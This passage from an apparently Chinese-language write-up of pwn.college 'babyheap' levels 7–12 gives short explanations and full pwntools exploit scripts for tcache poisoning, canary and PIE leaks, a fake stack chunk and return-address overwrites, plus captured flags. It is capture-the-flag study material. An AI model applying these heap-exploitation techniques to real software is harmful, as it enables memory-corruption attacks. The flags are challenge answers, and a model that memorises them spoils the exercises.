    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
42

43

44
def scanf(idx, data):
45
    target.sendlineafter(b": ", b"scanf")
46
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
47
    target.sendline(data)
48

49

50
def send_flag(secret):
51
    target.sendlineafter(b": ", b"send_flag")
52
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))
53

54

55
def quit():
56
    target.sendlineafter(b": ", b"quit")
57

58

59
def main():
60
    launch()
61

62
    secret_p1 = elf.bss() + 0x17051
63
    secret_p2 = secret_p1 + 0x8
64

65
    malloc(0, 0)
66
    malloc(1, 0)
67
    free(1)
68
    free(0)
69
    scanf(0, p32(secret_p1))
70
    malloc(0, 0)
71
    malloc(0, 0)
72
    puts(0)
73

74
    target.recvuntil(b"Data: ")
75
    secret_p1 = target.recvline().strip().decode("ascii")
76
    target.success(f"Part 1: {secret_p1}")
77
    target.close()
78
    launch()
79

80
    malloc(0, 0)
81
    malloc(1, 0)
82
    free(1)
83
    free(0)
84
    scanf(0, p32(secret_p2))
85
    malloc(0, 0)
86
    malloc(0, 0)
87
    puts(0)
88

89
    target.recvuntil(b"Data: ")
90
    secret_p2 = target.recvline().strip().decode("ascii")
91
    target.success(f"Part 2: {secret_p2}")
92

93
    secret = secret_p1 + secret_p2
94
    send_flag(secret)
95
    quit()
96

97
    target.interactive()
98

99

100
if __name__ == "__main__":
101
    main()

Flag#

pwn.college{cy0iZfUAyZ9bbo5DL_cS-9sxRN6.0FN4MDL5cTNxgzW}

Level 8.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to pass a validation check.

Write-up#

和上题几乎是一样的，除了这次 secret 被刻意放在了以 \x0a 结尾的地址处。由于它代表 LF (Line Feed)，所以我们不能直接通过 scanf 将它读入，最终会少写一个 \x0a。只要解决了这个问题，其它的问题就可以直接套用上题 exp 思路了。

感觉这题还是有一点小难的，至少对于刚开始学的我来说并不简单。当时卡了我两天，没有什么头绪，唯一想到可行的解法是 scanf overwrite fd，指向 secret 地址向后偏移 4 字节的地方，然后我们可以就可以泄漏 12/16 的 secret 了。问题是，如何得到剩下的四个字符呢？我想过伪造 chunk 什么的方法，但是都已失败告终了。最后，我还是老老实实的写了个 bruteforce 的 approach，结果预估了一下时间，爆破四个小写字母，也就是 $1/26^{4}$ 的 chance 成功，单线程都跑不满的情况下，得要 2h 45min……草啊，我本地得测试吧，3h 没了，远程再打一遍，3h 又没了。虽然这个方法可行，但是感觉也太蠢了……

后来尝试让 AI 写个多线程爆破的 approach，写的和屎一样，最后虽然写出来了，但还是有点问题，总之虽然爆破理论可行，但是因为我运气不好，就没见过它爆出来的样子……

不过回想起去年，也让 AI 写过多线程爆破的脚本，相比那次，这次代码质量算高了好几倍了，发展的还是很快的/悲

遂又去思考更好的方法，思考能不能泄漏完整的 secret 。想了整整一下午，没想出来，感觉完整泄漏好像不太可能，然后盯着检测代码发呆，~~试图看穿屏幕……~~

1
    if ( strcmp(s1, "send_flag") )
2
      break;
3
    printf("Secret: ");
4
    __isoc99_scanf("%127s", s1);
5
    puts(s_0);
6
    if ( !memcmp(s1, s2_0, 0x10u) )
7
    {
8
      puts("Authorized!");
9
      win();
10
    }
11
    else
12
    {
13
      puts("Not authorized!");
14
    }

既然不能泄漏完整的 secret，那还有没有其它通过这个检测的方法呢？思考……突然灵光闪现，因为 malloc 从 tcache 取 chunk 会将它的 key 清空，那如果我们 malloc 到 secret 前面，然后让 tcache_get 将 secret 的前 8 字节清空，是不是就相当于知道了 secret 的前 8 字节为 NULL？然后结合我们之前的思路，可以泄漏后 8 字节……草，出了！

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p32,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level8.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def launch():
23
    global target
24
    if args.L:
25
        target = process(FILE)
26
    else:
27
        target = remote(HOST, PORT)
28

29

30
def malloc(idx, size):
31
    target.sendlineafter(b": ", b"malloc")
32
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
33
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
34

35

36
def free(idx):
37
    target.sendlineafter(b": ", b"free")
38
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
39

40

41
def puts(idx):
42
    target.sendlineafter(b": ", b"puts")
43
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
44

45

46
def scanf(idx, data):
47
    target.sendlineafter(b": ", b"scanf")
48
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
49
    target.sendline(data)
50

51

52
def send_flag(secret):
53
    target.sendlineafter(b": ", b"send_flag")
54
    target.sendlineafter(b"Secret: ", secret)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def main():
62
    launch()
63

64
    secret = elf.bss() + 0x1230A + 0x8
65
    zero_out = elf.bss() + 0x1230A - 0x8
66

67
    malloc(0, 0)
68
    malloc(1, 0)
69
    free(1)
70
    free(0)
71
    scanf(0, p32(secret))
72
    malloc(0, 0)
73
    malloc(0, 0)
74
    puts(0)
75
    target.recvuntil(b"Data: ")
76
    secret = target.recvline().strip()
77

78
    malloc(0, 0)
79
    malloc(1, 0)
80
    free(1)
81
    free(0)
82
    # raw_input("DEBUG")
83
    scanf(0, p32(zero_out))
84
    malloc(0, 0)
85
    malloc(0, 0)
86

87
    # raw_input("DEBUG")
88
    payload = flat(
89
        0,
90
        secret,
91
    )
92
    send_flag(payload)
93
    quit()
94

95
    target.interactive()
96

97

98
if __name__ == "__main__":
99
    main()

Flag#

pwn.college{4xf_sG0yXaGhMXdibln3SOAB5xv.0VN4MDL5cTNxgzW}

Level 8.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to pass a validation check.

Write-up#

参见 Level 8.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p32,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level8.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def launch():
23
    global target
24
    if args.L:
25
        target = process(FILE)
26
    else:
27
        target = remote(HOST, PORT)
28

29

30
def malloc(idx, size):
31
    target.sendlineafter(b": ", b"malloc")
32
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
33
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
34

35

36
def free(idx):
37
    target.sendlineafter(b": ", b"free")
38
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
39

40

41
def puts(idx):
42
    target.sendlineafter(b": ", b"puts")
43
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
44

45

46
def scanf(idx, data):
47
    target.sendlineafter(b": ", b"scanf")
48
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
49
    target.sendline(data)
50

51

52
def send_flag(secret):
53
    target.sendlineafter(b": ", b"send_flag")
54
    target.sendlineafter(b"Secret: ", secret)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def main():
62
    launch()
63

64
    secret = elf.bss() + 0x19E0A + 0x8
65
    zero_out = elf.bss() + 0x19E0A - 0x8
66

67
    malloc(0, 0)
68
    malloc(1, 0)
69
    free(1)
70
    free(0)
71
    scanf(0, p32(secret))
72
    malloc(0, 0)
73
    malloc(0, 0)
74
    puts(0)
75
    target.recvuntil(b"Data: ")
76
    secret = target.recvline().strip()
77

78
    malloc(0, 0)
79
    malloc(1, 0)
80
    free(1)
81
    free(0)
82
    # raw_input("DEBUG")
83
    scanf(0, p32(zero_out))
84
    malloc(0, 0)
85
    malloc(0, 0)
86

87
    # raw_input("DEBUG")
88
    payload = flat(
89
        0,
90
        secret,
91
    )
92
    send_flag(payload)
93
    quit()
94

95
    target.interactive()
96

97

98
if __name__ == "__main__":
99
    main()

Flag#

pwn.college{0K4zGLVnFNCz2zhqd0R7tWLsOLW.0lN4MDL5cTNxgzW}

Level 9.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to pass a validation check.

Write-up#

和上题一样，但是这次不能分配到 secret 附近了，泄漏完全不可能。不过还是可以利用 tcache_get 清空 key 的特性将 secret 完全清空，这样我们就知道 secret 为 NULL 了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p32,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level9.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def send_flag(secret):
45
    target.sendlineafter(b": ", b"send_flag")
46
    target.sendlineafter(b"Secret: ", secret)
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def launch():
54
    global target
55
    if args.L:
56
        target = process(FILE)
57
    else:
58
        target = remote(HOST, PORT)
59

60

61
def main():
62
    launch()
63

64
    secret_p1 = elf.bss() + (0x16364 - 0x8)
65
    secret_p2 = elf.bss() + 0x16364
66

67
    malloc(0, 0)
68
    malloc(1, 0)
69
    free(1)
70
    free(0)
71
    scanf(0, p32(secret_p1))
72
    # raw_input("DEBUG")
73
    malloc(0, 0)
74
    malloc(0, 0)
75

76
    malloc(0, 0)
77
    malloc(1, 0)
78
    free(1)
79
    free(0)
80
    scanf(0, p32(secret_p2))
81
    # raw_input("DEBUG")
82
    malloc(0, 0)
83
    malloc(0, 0)
84

85
    payload = flat(0, 0)
86
    send_flag(payload)
87
    quit()
88

89
    target.interactive()
90

91

92
if __name__ == "__main__":
93
    main()

Flag#

pwn.college{klIR9JBrG0FfOAzXz_dLAeG0C5g.01N4MDL5cTNxgzW}

Level 9.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to pass a validation check.

Write-up#

参见 Level 9.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p32,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level9.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def send_flag(secret):
45
    target.sendlineafter(b": ", b"send_flag")
46
    target.sendlineafter(b"Secret: ", secret)
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def launch():
54
    global target
55
    if args.L:
56
        target = process(FILE)
57
    else:
58
        target = remote(HOST, PORT)
59

60

61
def main():
62
    launch()
63

64
    secret_p1 = elf.bss() + (0x12821 - 0x8)
65
    secret_p2 = elf.bss() + 0x12821
66

67
    malloc(0, 0)
68
    malloc(1, 0)
69
    free(1)
70
    free(0)
71
    scanf(0, p32(secret_p1))
72
    # raw_input("DEBUG")
73
    malloc(0, 0)
74
    malloc(0, 0)
75

76
    malloc(0, 0)
77
    malloc(1, 0)
78
    free(1)
79
    free(0)
80
    scanf(0, p32(secret_p2))
81
    # raw_input("DEBUG")
82
    malloc(0, 0)
83
    malloc(0, 0)
84

85
    payload = flat(0, 0)
86
    send_flag(payload)
87
    quit()
88

89
    target.interactive()
90

91

92
if __name__ == "__main__":
93
    main()

Flag#

pwn.college{YpgPY9CRd5Wk4FCJ7klY0D4fwXX.0FO4MDL5cTNxgzW}

Level 10.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to gain control flow.

Write-up#

这题嘛，保护全开，但是直接泄漏给我们栈地址和程序代码段地址了，发现后门函数 win，那想法自然是令 malloc 返回栈地址，然后我们 scanf 向栈内输入数据溢出返回地址 balabala ～

由于程序使用了 malloc_usable_size 来确定输入大小，所以我们还得伪造一个 chunk size 来欺骗这个函数，才能得到足够的输入空间。此外，canary 也需要我们提前泄漏出来。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level10.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def quit():
45
    target.sendlineafter(b": ", b"quit")
46

47

48
def launch():
49
    global target
50
    if args.L:
51
        target = process(FILE)
52
    else:
53
        target = remote(HOST, PORT)
54

55

56
def main():
57
    launch()
58

59
    target.recvuntil(b"allocations is at: ")
60
    stack = int(target.recvline().strip()[:-1], 16)
61
    target.recvuntil(b"main is at: ")
62
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD
63

64
    fake_chunk = stack + 0x10
65
    canary = stack + 0x108
66
    win = pie_base + 0x1A00
67

68
    target.success(f"stack: {hex(stack)}")
69
    target.success(f"pie_base: {hex(pie_base)}")
70
    target.success(f"fake_chunk: {hex(fake_chunk)}")
71
    target.success(f"canary: {hex(canary)}")
72
    target.success(f"win: {hex(win)}")
73

74
    malloc(0, 0)
75
    malloc(1, 0)
76
    free(1)
77
    free(0)
78

79
    # raw_input("DEBUG")
80
    scanf(0, p64(canary + 1))
81
    malloc(0, 0)
82
    malloc(0, 0)
83
    puts(0)
84
    target.recvuntil(b"Data: ")
85
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"\x00"), "little")
86
    target.success(f"canary: {hex(canary)}")
87

88
    malloc(0, 0)
89
    malloc(1, 0)
90
    free(1)
91
    free(0)
92
    # raw_input("DEBUG")
93
    scanf(0, p64(stack))
94
    malloc(0, 0)
95
    malloc(0, 0)
96

97
    # fake chunk
98
    payload = flat(
99
        0,
100
        0x200, # chunk size
101
    )
102
    scanf(0, payload)
103

104
    malloc(2, 0)
105
    malloc(3, 0)
106
    free(3)
107
    free(2)
108
    # raw_input("DEBUG")
109
    scanf(2, p64(fake_chunk))
110
    malloc(2, 0)
111
    malloc(2, 0)
112

113
    payload = flat(
114
        b"A" * 0xF8,
115
        canary,
116
        0,  # rbp
117
        win,
118
    )
119
    # raw_input("DEBUG")
120
    scanf(2, payload)
121
    quit()
122

123
    target.interactive()
124

125

126
if __name__ == "__main__":
127
    main()

Flag#

pwn.college{0qLPdKCSvtNobMR6JycB-1ThuJM.0VO4MDL5cTNxgzW}

Level 10.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to gain control flow.

Write-up#

参见 Level 10.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level10.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def quit():
45
    target.sendlineafter(b": ", b"quit")
46

47

48
def launch():
49
    global target
50
    if args.L:
51
        target = process(FILE)
52
    else:
53
        target = remote(HOST, PORT)
54

55

56
def main():
57
    launch()
58

59
    target.recvuntil(b"allocations is at: ")
60
    stack = int(target.recvline().strip()[:-1], 16)
61
    target.recvuntil(b"main is at: ")
62
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD
63

64
    fake_chunk = stack + 0x10
65
    canary = stack + 0x108
66
    win = pie_base + 0x1A00
67

68
    target.success(f"stack: {hex(stack)}")
69
    target.success(f"pie_base: {hex(pie_base)}")
70
    target.success(f"fake_chunk: {hex(fake_chunk)}")
71
    target.success(f"canary: {hex(canary)}")
72
    target.success(f"win: {hex(win)}")
73

74
    malloc(0, 0)
75
    malloc(1, 0)
76
    free(1)
77
    free(0)
78

79
    # raw_input("DEBUG")
80
    scanf(0, p64(canary + 1))
81
    malloc(0, 0)
82
    malloc(0, 0)
83
    puts(0)
84
    target.recvuntil(b"Data: ")
85
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"\x00"), "little")
86
    target.success(f"canary: {hex(canary)}")
87

88
    malloc(0, 0)
89
    malloc(1, 0)
90
    free(1)
91
    free(0)
92
    # raw_input("DEBUG")
93
    scanf(0, p64(stack))
94
    malloc(0, 0)
95
    malloc(0, 0)
96

97
    # fake chunk
98
    payload = flat(
99
        0,
100
        0x200,  # chunk size
101
    )
102
    scanf(0, payload)
103

104
    malloc(2, 0)
105
    malloc(3, 0)
106
    free(3)
107
    free(2)
108
    # raw_input("DEBUG")
109
    scanf(2, p64(fake_chunk))
110
    malloc(2, 0)
111
    malloc(2, 0)
112

113
    payload = flat(
114
        b"A" * 0xF8,
115
        canary,
116
        0,  # rbp
117
        win,
118
    )
119
    # raw_input("DEBUG")
120
    scanf(2, payload)
121
    quit()
122

123
    target.interactive()
124

125

126
if __name__ == "__main__":
127
    main()

Flag#

pwn.college{IVJX2ecO9cCeTd-08IgNfDhvyxY.0FM5MDL5cTNxgzW}

Level 11.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to gain control flow.

Write-up#

和上题类似的 goal，控制返回地址为 win 即可。但是这次没有告诉我们任何地址，需要手动泄漏栈地址和程序基地址。

那还不简单，echo 可以泄漏 ptr 中的地址加上偏移处的值，如果我们知道了栈地址，那只要令 ptr 中保存栈地址我们就可以泄漏任意偏移处的值了。

IMPORTANT
做这题的时候突然发现 scanf("%0s", buf) 其实是可以接收输入的，%0s 是未定义行为，会接收任意大小输入……我本来以为不行，还想在栈上伪造 chunk 来着，现在知道原来没必要。所以我们最后直接覆盖 scanf 的返回地址就好了，连 canary 都不需要泄漏……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level11.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def echo(idx, offset):
34
    target.sendlineafter(b": ", b"echo")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36
    target.sendlineafter(b"Offset: ", str(offset).encode())
37

38

39
def scanf(idx, data):
40
    target.sendlineafter(b": ", b"scanf")
41
    target.sendlineafter(b"Index: ", str(idx).encode())
42
    target.sendline(data)
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def launch():
50
    global target
51
    if args.L:
52
        target = process(FILE)
53
    else:
54
        target = remote(HOST, PORT)
55

56

57
def main():
58
    launch()
59

60
    malloc(0, 0x20)
61
    free(0)
62

63
    # leak stack address
64
    # raw_input("DEBUG")
65
    echo(0, 0x8)
66
    target.recvuntil(b"Data: ")
67
    stack = (
68
        int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little") + 0x6
69
    )
70
    target.success(f"stack: {hex(stack)}")
71

72
    malloc(0, 0x20)
73
    malloc(1, 0x20)
74
    free(1)
75
    free(0)
76
    # raw_input("DEBUG")
77
    scanf(0, p64(stack))
78
    malloc(0, 0x20)
79
    malloc(0, 0x20)  # slot 0 store stack addr
80

81
    # leak canary (not necessary)
82
    # echo(0, 0x1)
83
    # target.recvuntil(b"Data: ")
84
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"\x00"), "little")
85
    # target.success(f"canary: {hex(canary)}")
86

87
    # leak pie
88
    echo(0, 0x10)
89
    target.recvuntil(b"Data: ")
90
    pie = (
91
        int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little") - 0x214E
92
    )
93
    win = pie + 0x1B00
94
    target.success(f"pie: {hex(pie)}")
95
    target.success(f"win: {hex(win)}")
96

97
    payload = flat(
98
        b"A" * 0x10,
99
        win,
100
    )
101
    # raw_input("DEBUG")
102
    scanf(0, payload)
103

104
    target.interactive()
105

106

107
if __name__ == "__main__":
108
    main()

Flag#

pwn.college{UR1cj-fm89XIenUymGEuLXjbqDw.0VM5MDL5cTNxgzW}

Level 11.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to gain control flow.

Write-up#

参见 Level 11.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level11.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def echo(idx, offset):
34
    target.sendlineafter(b": ", b"echo")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36
    target.sendlineafter(b"Offset: ", str(offset).encode())
37

38

39
def scanf(idx, data):
40
    target.sendlineafter(b": ", b"scanf")
41
    target.sendlineafter(b"Index: ", str(idx).encode())
42
    target.sendline(data)
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def launch():
50
    global target
51
    if args.L:
52
        target = process(FILE)
53
    else:
54
        target = remote(HOST, PORT)
55

56

57
def main():
58
    launch()
59

60
    malloc(0, 0x20)
61
    free(0)
62

63
    # leak stack address
64
    # raw_input("DEBUG")
65
    echo(0, 0x8)
66
    target.recvuntil(b"Data: ")
67
    stack = (
68
        int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little") + 0x6
69
    )
70
    target.success(f"stack: {hex(stack)}")
71

72
    malloc(0, 0x20)
73
    malloc(1, 0x20)
74
    free(1)
75
    free(0)
76
    # raw_input("DEBUG")
77
    scanf(0, p64(stack))
78
    malloc(0, 0x20)
79
    malloc(0, 0x20)  # slot 0 store stack addr
80

81
    # leak canary (not necessary)
82
    # echo(0, 0x1)
83
    # target.recvuntil(b"Data: ")
84
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"\x00"), "little")
85
    # target.success(f"canary: {hex(canary)}")
86

87
    # leak pie
88
    echo(0, 0x10)
89
    target.recvuntil(b"Data: ")
90
    pie = (
91
        int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little") - 0x1A93
92
    )
93
    win = pie + 0x1500
94
    target.success(f"pie: {hex(pie)}")
95
    target.success(f"win: {hex(win)}")
96

97
    payload = flat(
98
        b"A" * 0x10,
99
        win,
100
    )
101
    # raw_input("DEBUG")
102
    scanf(0, payload)
103

104
    target.interactive()
105

106

107
if __name__ == "__main__":
108
    main()

Flag#

pwn.college{IHuI-DZpMG1vv3R_3f2K4lz3jgL.0lM5MDL5cTNxgzW}

Level 12.0#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to cause malloc() to return a stack pointer.

Write-up#

~~太简单，直接看我 exp 好了。~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level12.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def stack_free():
45
    target.sendlineafter(b": ", b"stack_free")
46

47

48
def stack_scanf(data):
49
    target.sendlineafter(b": ", b"stack_scanf")
50
    target.sendline(data)
51

52

53
def stack_malloc_win():
54
    target.sendlineafter(b": ", b"stack_malloc_win")
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def launch():
62
    global target
63
    if args.L:
64
        target = process(FILE)
65
    else:
66
        target = remote(HOST, PORT)
67

68

69
def main():
70
    launch()
71

72
    malloc(0, 0x20)
73

74
    payload = flat(
75
        b"A" * 0x30,
76
        0,
77
        0x30,
78
    )
79
    # raw_input("DEBUG")
80
    stack_scanf(payload)
81
    # raw_input("DEBUG")
82
    stack_free()
83

84
    free(0)
85
    # raw_input("DEBUG")
86
    puts(0)
87
    target.recvuntil(b"Data: ")
88
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"\x00"), "little")
89
    target.success(f"stack: {hex(stack)}")
90

91
    malloc(0, 0x6A)
92
    malloc(1, 0x6A)
93
    free(1)
94
    free(0)
95
    # raw_input("DEBUG")
96
    scanf(0, p64(stack))
97
    malloc(0, 0x6A)
98
    stack_malloc_win()
99
    quit()
100

101
    target.interactive()
102

103

104
if __name__ == "__main__":
105
    main()

Flag#

pwn.college{QmZQE_PykX5z-wedw-snh6CwwtV.01M5MDL5cTNxgzW}

Level 12.1#

Information#

Category: Pwn

Description#

Leverage TCACHE exploits to cause malloc() to return a stack pointer.

Write-up#

参见 Level 12.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    p64,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/babyheap_level12.1"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def scanf(idx, data):
39
    target.sendlineafter(b": ", b"scanf")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def stack_free():
45
    target.sendlineafter(b": ", b"stack_free")
46

47

48
def stack_scanf(data):
49
    target.sendlineafter(b": ", b"stack_scanf")
50
    target.sendline(data)
51

52

53
def stack_malloc_win():
54
    target.sendlineafter(b": ", b"stack_malloc_win")
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def launch():
62
    global target
63
    if args.L:
64
        target = process(FILE)
65
    else:
66
        target = remote(HOST, PORT)
67

68

69
def main():
70
    launch()
71

72
    malloc(0, 0x20)
73

74
    payload = flat(
75
        b"A" * 0x30,
76
        0,
77
        0x30,
78
